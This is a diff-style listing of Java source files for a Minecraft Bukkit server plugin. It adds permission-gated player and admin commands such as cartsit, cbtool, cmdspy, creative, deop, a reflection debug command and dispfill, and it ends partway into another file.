package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Minecart;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Sit in nearest minecart. If target is in a minecart already, they will disembark.", usage = "/<command> [partialname]")
|
||||
public class Command_cartsit extends FreedomCommand
|
||||
{
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
Player targetPlayer = sender_p;
|
||||
|
||||
if (args.length == 1)
|
||||
{
|
||||
|
||||
targetPlayer = getPlayer(args[0]);
|
||||
|
||||
if (targetPlayer == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if (senderIsConsole)
|
||||
{
|
||||
if (targetPlayer == null)
|
||||
{
|
||||
sender.sendMessage("When used from the console, you must define a target player: /cartsit <player>");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else if (targetPlayer != sender_p && !isAdmin(sender))
|
||||
{
|
||||
sender.sendMessage("Only superadmins can select another player as a /cartsit target.");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (targetPlayer.isInsideVehicle())
|
||||
{
|
||||
targetPlayer.getVehicle().eject();
|
||||
}
|
||||
else
|
||||
{
|
||||
Minecart nearest_cart = null;
|
||||
for (Minecart cart : targetPlayer.getWorld().getEntitiesByClass(Minecart.class))
|
||||
{
|
||||
if (cart.isEmpty())
|
||||
{
|
||||
if (nearest_cart == null)
|
||||
{
|
||||
nearest_cart = cart;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (cart.getLocation().distanceSquared(targetPlayer.getLocation()) < nearest_cart.getLocation().distanceSquared(targetPlayer.getLocation()))
|
||||
{
|
||||
nearest_cart = cart;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (nearest_cart != null)
|
||||
{
|
||||
nearest_cart.setPassenger(targetPlayer);
|
||||
}
|
||||
else
|
||||
{
|
||||
sender.sendMessage("There are no empty minecarts in the target world.");
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,213 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.List;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.World;
|
||||
import org.bukkit.block.Block;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "No Description Yet", usage = "/<command>")
|
||||
public class Command_cbtool extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length < 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if ("targetblock".equalsIgnoreCase(args[0]) && sender instanceof Player)
|
||||
{
|
||||
Block targetBlock = DepreciationAggregator.getTargetBlock(sender_p, null, 100);
|
||||
playerMsg("Your target block: " + targetBlock.getLocation().toString());
|
||||
return true;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
final StringBuffer generatedCommand = new StringBuffer();
|
||||
|
||||
final Matcher matcher = Pattern.compile("\\[(.+?)\\]").matcher(StringUtils.join(args, " ").trim());
|
||||
while (matcher.find())
|
||||
{
|
||||
matcher.appendReplacement(generatedCommand, processSubCommand(matcher.group(1)));
|
||||
}
|
||||
matcher.appendTail(generatedCommand);
|
||||
|
||||
if (plugin.cb.isCommandBlocked(generatedCommand.toString(), sender, false))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
server.dispatchCommand(sender, generatedCommand.toString());
|
||||
}
|
||||
catch (SubCommandFailureException ex)
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private String processSubCommand(final String subcommand) throws SubCommandFailureException
|
||||
{
|
||||
final String[] args = StringUtils.split(subcommand, " ");
|
||||
|
||||
if (args.length == 1)
|
||||
{
|
||||
throw new SubCommandFailureException("Invalid subcommand name.");
|
||||
}
|
||||
|
||||
return SubCommand.getByName(args[0]).getExecutable().execute(ArrayUtils.remove(args, 0));
|
||||
}
|
||||
|
||||
private static enum SubCommand
|
||||
{
|
||||
PLAYER_DETECT("playerdetect", new SubCommandExecutable()
|
||||
{
|
||||
@Override
|
||||
public String execute(String[] args) throws SubCommandFailureException
|
||||
{
|
||||
if (args.length != 5)
|
||||
{
|
||||
throw new SubCommandFailureException("Invalid # of arguments.");
|
||||
}
|
||||
|
||||
double x, y, z;
|
||||
try
|
||||
{
|
||||
x = Double.parseDouble(args[0].trim());
|
||||
y = Double.parseDouble(args[1].trim());
|
||||
z = Double.parseDouble(args[2].trim());
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
throw new SubCommandFailureException("Invalid coordinates.");
|
||||
}
|
||||
|
||||
World world = null;
|
||||
final String needleWorldName = args[3].trim();
|
||||
final List<World> worlds = Bukkit.getWorlds();
|
||||
for (final World testWorld : worlds)
|
||||
{
|
||||
if (testWorld.getName().trim().equalsIgnoreCase(needleWorldName))
|
||||
{
|
||||
world = testWorld;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (world == null)
|
||||
{
|
||||
throw new SubCommandFailureException("Invalid world name.");
|
||||
}
|
||||
|
||||
final Location testLocation = new Location(world, x, y, z);
|
||||
|
||||
double radius;
|
||||
try
|
||||
{
|
||||
radius = Double.parseDouble(args[4].trim());
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
throw new SubCommandFailureException("Invalid radius.");
|
||||
}
|
||||
|
||||
final double radiusSq = radius * radius;
|
||||
|
||||
final List<Player> worldPlayers = testLocation.getWorld().getPlayers();
|
||||
for (final Player testPlayer : worldPlayers)
|
||||
{
|
||||
if (testPlayer.getLocation().distanceSquared(testLocation) < radiusSq)
|
||||
{
|
||||
return testPlayer.getName();
|
||||
}
|
||||
}
|
||||
|
||||
throw new SubCommandFailureException("No player found in range.");
|
||||
}
|
||||
}),
|
||||
PLAYER_DETECT_BOOLEAN("playerdetectboolean", new SubCommandExecutable()
|
||||
{
|
||||
@Override
|
||||
public String execute(String[] args) throws SubCommandFailureException
|
||||
{
|
||||
try
|
||||
{
|
||||
PLAYER_DETECT.getExecutable().execute(args);
|
||||
}
|
||||
catch (SubCommandFailureException ex)
|
||||
{
|
||||
return "0";
|
||||
}
|
||||
|
||||
return "1";
|
||||
}
|
||||
});
|
||||
//
|
||||
private final String name;
|
||||
private final SubCommandExecutable executable;
|
||||
|
||||
private SubCommand(String subCommandName, SubCommandExecutable subCommandImpl)
|
||||
{
|
||||
this.name = subCommandName;
|
||||
this.executable = subCommandImpl;
|
||||
}
|
||||
|
||||
public SubCommandExecutable getExecutable()
|
||||
{
|
||||
return executable;
|
||||
}
|
||||
|
||||
public String getName()
|
||||
{
|
||||
return name;
|
||||
}
|
||||
|
||||
public static SubCommand getByName(String needle) throws SubCommandFailureException
|
||||
{
|
||||
needle = needle.trim();
|
||||
for (SubCommand subCommand : values())
|
||||
{
|
||||
if (subCommand.getName().equalsIgnoreCase(needle))
|
||||
{
|
||||
return subCommand;
|
||||
}
|
||||
}
|
||||
throw new SubCommandFailureException("Invalid subcommand name.");
|
||||
}
|
||||
}
|
||||
|
||||
private interface SubCommandExecutable
|
||||
{
|
||||
public String execute(String[] args) throws SubCommandFailureException;
|
||||
}
|
||||
|
||||
private static class SubCommandFailureException extends Exception
|
||||
{
|
||||
public SubCommandFailureException()
|
||||
{
|
||||
}
|
||||
|
||||
public SubCommandFailureException(String message)
|
||||
{
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Spy on commands", usage = "/<command>", aliases = "commandspy")
|
||||
public class Command_cmdspy extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(sender_p);
|
||||
playerdata.setCommandSpy(!playerdata.cmdspyEnabled());
|
||||
playerMsg("CommandSpy " + (playerdata.cmdspyEnabled() ? "enabled." : "disabled."));
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,58 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.Iterator;
|
||||
import java.util.Map;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Essentials Interface Command - Color your current nickname.", usage = "/<command> <color>")
|
||||
public class Command_colorme extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if ("list".equalsIgnoreCase(args[0]))
|
||||
{
|
||||
playerMsg("Colors: " + StringUtils.join(FUtil.CHAT_COLOR_NAMES.keySet(), ", "));
|
||||
return true;
|
||||
}
|
||||
|
||||
final String needle = args[0].trim().toLowerCase();
|
||||
ChatColor color = null;
|
||||
final Iterator<Map.Entry<String, ChatColor>> it = FUtil.CHAT_COLOR_NAMES.entrySet().iterator();
|
||||
while (it.hasNext())
|
||||
{
|
||||
final Map.Entry<String, ChatColor> entry = it.next();
|
||||
if (entry.getKey().contains(needle))
|
||||
{
|
||||
color = entry.getValue();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (color == null)
|
||||
{
|
||||
playerMsg("Invalid color: " + needle + " - Use \"/colorme list\" to list colors.");
|
||||
return true;
|
||||
}
|
||||
|
||||
final String newNick = color + ChatColor.stripColor(sender_p.getDisplayName()).trim() + ChatColor.WHITE;
|
||||
|
||||
plugin.esb.setNickname(sender.getName(), newNick);
|
||||
|
||||
playerMsg("Your nickname is now: " + newNick);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,52 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Map.Entry;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
import org.bukkit.plugin.PluginDescriptionFile;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Show all commands for all server plugins.", usage = "/<command>", aliases = "cmdlist")
|
||||
public class Command_commandlist extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
List<String> commands = new ArrayList<String>();
|
||||
|
||||
for (Plugin targetPlugin : server.getPluginManager().getPlugins())
|
||||
{
|
||||
try
|
||||
{
|
||||
PluginDescriptionFile desc = targetPlugin.getDescription();
|
||||
Map<String, Map<String, Object>> map = (Map<String, Map<String, Object>>) desc.getCommands();
|
||||
|
||||
if (map != null)
|
||||
{
|
||||
for (Entry<String, Map<String, Object>> entry : map.entrySet())
|
||||
{
|
||||
String command_name = (String) entry.getKey();
|
||||
commands.add(command_name);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Throwable ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
Collections.sort(commands);
|
||||
|
||||
sender.sendMessage(StringUtils.join(commands, ","));
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Quickly change your own gamemode to creative, or define someone's username to change theirs.", usage = "/<command> [partialname]", aliases = "gmc")
|
||||
public class Command_creative extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
sender.sendMessage("When used from the console, you must define a target user to change gamemode on.");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
Player player;
|
||||
if (args.length == 0)
|
||||
{
|
||||
player = sender_p;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (args[0].equalsIgnoreCase("-a"))
|
||||
{
|
||||
if (!isAdmin(sender))
|
||||
{
|
||||
noPerms();
|
||||
return true;
|
||||
}
|
||||
|
||||
for (Player targetPlayer : server.getOnlinePlayers())
|
||||
{
|
||||
targetPlayer.setGameMode(GameMode.CREATIVE);
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Changing everyone's gamemode to creative", false);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (!(senderIsConsole || isAdmin(sender)))
|
||||
{
|
||||
playerMsg("Only superadmins can change other user's gamemode.");
|
||||
return true;
|
||||
}
|
||||
|
||||
player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
playerMsg("Setting " + player.getName() + " to game mode 'Creative'.");
|
||||
playerMsg(player, sender.getName() + " set your game mode to 'Creative'.");
|
||||
player.setGameMode(GameMode.CREATIVE);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_CONSOLE)
|
||||
@CommandParameters(description = "Telnet command - Send a chat message with chat formatting over telnet.", usage = "/<command> <message...>")
|
||||
public class Command_csay extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length > 0)
|
||||
{
|
||||
FUtil.bcastMsg(String.format("§7[CONSOLE]§f<§c%s§f> %s", sender.getName(), StringUtils.join(args, " ")));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,51 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.Random;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.Sound;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SENIOR_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(description = "Make some noise.", usage = "/<command>")
|
||||
public class Command_deafen extends FreedomCommand
|
||||
{
|
||||
private static final Random random = new Random();
|
||||
public static final double STEPS = 10.0;
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
for (final Player player : server.getOnlinePlayers())
|
||||
{
|
||||
for (double percent = 0.0; percent <= 1.0; percent += (1.0 / STEPS))
|
||||
{
|
||||
final float pitch = (float) (percent * 2.0);
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
player.playSound(randomOffset(player.getLocation(), 5.0), Sound.values()[random.nextInt(Sound.values().length)], 100.0f, pitch);
|
||||
}
|
||||
}.runTaskLater(plugin, Math.round(20.0 * percent * 2.0));
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static Location randomOffset(Location a, double magnitude)
|
||||
{
|
||||
return a.clone().add(randomDoubleRange(-1.0, 1.0) * magnitude, randomDoubleRange(-1.0, 1.0) * magnitude, randomDoubleRange(-1.0, 1.0) * magnitude);
|
||||
}
|
||||
|
||||
private static Double randomDoubleRange(double min, double max)
|
||||
{
|
||||
return min + (random.nextDouble() * ((max - min) + 1.0));
|
||||
}
|
||||
}
|
@ -0,0 +1,112 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.lang.reflect.Field;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SENIOR_ADMIN, source = SourceType.ONLY_CONSOLE)
|
||||
@CommandParameters(description = "For developers only - debug things via reflection.", usage = "/<command>")
|
||||
public class Command_debug extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length < 3)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
String className = args[0];
|
||||
String fieldName = args[1];
|
||||
String newValue = StringUtils.join(ArrayUtils.subarray(args, 2, args.length), " ");
|
||||
|
||||
if (className.equalsIgnoreCase("_"))
|
||||
{
|
||||
className = "me.StevenLawson.TotalFreedomMod.TotalFreedomMod";
|
||||
}
|
||||
|
||||
setStaticValue(className, fieldName, newValue);
|
||||
|
||||
sender.sendMessage("Debug: OK");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
sender.sendMessage(ex.getMessage());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public static void setStaticValue(final String className, final String fieldName, final String newValueString) throws Exception
|
||||
{
|
||||
Class<?> forName = Class.forName(className);
|
||||
if (forName != null)
|
||||
{
|
||||
final Field field = forName.getDeclaredField(fieldName);
|
||||
if (field != null)
|
||||
{
|
||||
Object newValue;
|
||||
|
||||
Class<?> type = field.getType();
|
||||
if (type.isPrimitive())
|
||||
{
|
||||
if (type.getName().equals("int"))
|
||||
{
|
||||
newValue = Integer.parseInt(newValueString);
|
||||
}
|
||||
else if (type.getName().equals("double"))
|
||||
{
|
||||
newValue = Double.parseDouble(newValueString);
|
||||
}
|
||||
else if (type.getName().equals("boolean"))
|
||||
{
|
||||
newValue = Boolean.parseBoolean(newValueString);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception("Unknown primitive field type.");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (type.isAssignableFrom(Integer.class))
|
||||
{
|
||||
newValue = new Integer(newValueString);
|
||||
}
|
||||
else if (type.isAssignableFrom(Double.class))
|
||||
{
|
||||
newValue = new Double(newValueString);
|
||||
}
|
||||
else if (type.isAssignableFrom(Boolean.class))
|
||||
{
|
||||
newValue = Boolean.valueOf(newValueString);
|
||||
}
|
||||
else if (type.isAssignableFrom(String.class))
|
||||
{
|
||||
newValue = newValueString;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception("Unknown complex field type.");
|
||||
}
|
||||
}
|
||||
|
||||
field.setAccessible(true);
|
||||
|
||||
final Object oldValue = field.get(Class.forName(className));
|
||||
if (oldValue != null)
|
||||
{
|
||||
field.set(oldValue, newValue);
|
||||
}
|
||||
|
||||
field.setAccessible(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,25 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Essentials Interface Command - Remove the nickname of all players on the server.", usage = "/<command>")
|
||||
public class Command_denick extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Removing all nicknames", false);
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
plugin.esb.setNickname(player.getName(), null);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.OfflinePlayer;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Deop a player.", usage = "/<command> <playername>")
|
||||
public class Command_deop extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
OfflinePlayer player = null;
|
||||
|
||||
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||
{
|
||||
if (args[0].equalsIgnoreCase(onlinePlayer.getName()))
|
||||
{
|
||||
player = onlinePlayer;
|
||||
}
|
||||
}
|
||||
|
||||
// if the player is not online
|
||||
if (player == null)
|
||||
{
|
||||
player = DepreciationAggregator.getOfflinePlayer(server, args[0]);
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "De-opping " + player.getName(), false);
|
||||
|
||||
player.setOp(false);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,26 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(description = "Deop everyone on the server.", usage = "/<command>")
|
||||
public class Command_deopall extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "De-opping all players on the server", true);
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
player.setOp(false);
|
||||
player.sendMessage(FreedomCommand.YOU_ARE_NOT_OP);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,111 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.block.Block;
|
||||
import org.bukkit.block.Dispenser;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Fill nearby dispensers with a set of items of your choice.", usage = "/<command> <radius> <comma,separated,items>")
|
||||
public class Command_dispfill extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 2)
|
||||
{
|
||||
int radius;
|
||||
|
||||
try
|
||||
{
|
||||
radius = Math.max(5, Math.min(25, Integer.parseInt(args[0])));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
sender.sendMessage("Invalid radius.");
|
||||
return true;
|
||||
}
|
||||
|
||||
final List<ItemStack> items = new ArrayList<ItemStack>();
|
||||
|
||||
final String[] itemsRaw = StringUtils.split(args[1], ",");
|
||||
for (final String searchItem : itemsRaw)
|
||||
{
|
||||
Material material = Material.matchMaterial(searchItem);
|
||||
if (material == null)
|
||||
{
|
||||
try
|
||||
{
|
||||
material = DepreciationAggregator.getMaterial(Integer.parseInt(searchItem));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
if (material != null)
|
||||
{
|
||||
items.add(new ItemStack(material, 64));
|
||||
}
|
||||
else
|
||||
{
|
||||
sender.sendMessage("Skipping invalid item: " + searchItem);
|
||||
}
|
||||
}
|
||||
|
||||
final ItemStack[] itemsArray = items.toArray(new ItemStack[items.size()]);
|
||||
|
||||
int affected = 0;
|
||||
final Location centerLocation = sender_p.getLocation();
|
||||
final Block centerBlock = centerLocation.getBlock();
|
||||
for (int xOffset = -radius; xOffset <= radius; xOffset++)
|
||||
{
|
||||
for (int yOffset = -radius; yOffset <= radius; yOffset++)
|
||||
{
|
||||
for (int zOffset = -radius; zOffset <= radius; zOffset++)
|
||||
{
|
||||
final Block targetBlock = centerBlock.getRelative(xOffset, yOffset, zOffset);
|
||||
if (targetBlock.getLocation().distanceSquared(centerLocation) < (radius * radius))
|
||||
{
|
||||
if (targetBlock.getType().equals(Material.DISPENSER))
|
||||
{
|
||||
sender.sendMessage("Filling dispenser @ " + FUtil.formatLocation(targetBlock.getLocation()));
|
||||
setDispenserContents(targetBlock, itemsArray);
|
||||
affected++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sender.sendMessage("Done. " + affected + " dispenser(s) filled.");
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static void setDispenserContents(final Block targetBlock, final ItemStack[] items)
|
||||
{
|
||||
if (targetBlock.getType() == Material.DISPENSER)
|
||||
{
|
||||
final Inventory dispenserInv = ((Dispenser) targetBlock.getState()).getInventory();
|
||||
dispenserInv.clear();
|
||||
dispenserInv.addItem(items);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,110 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
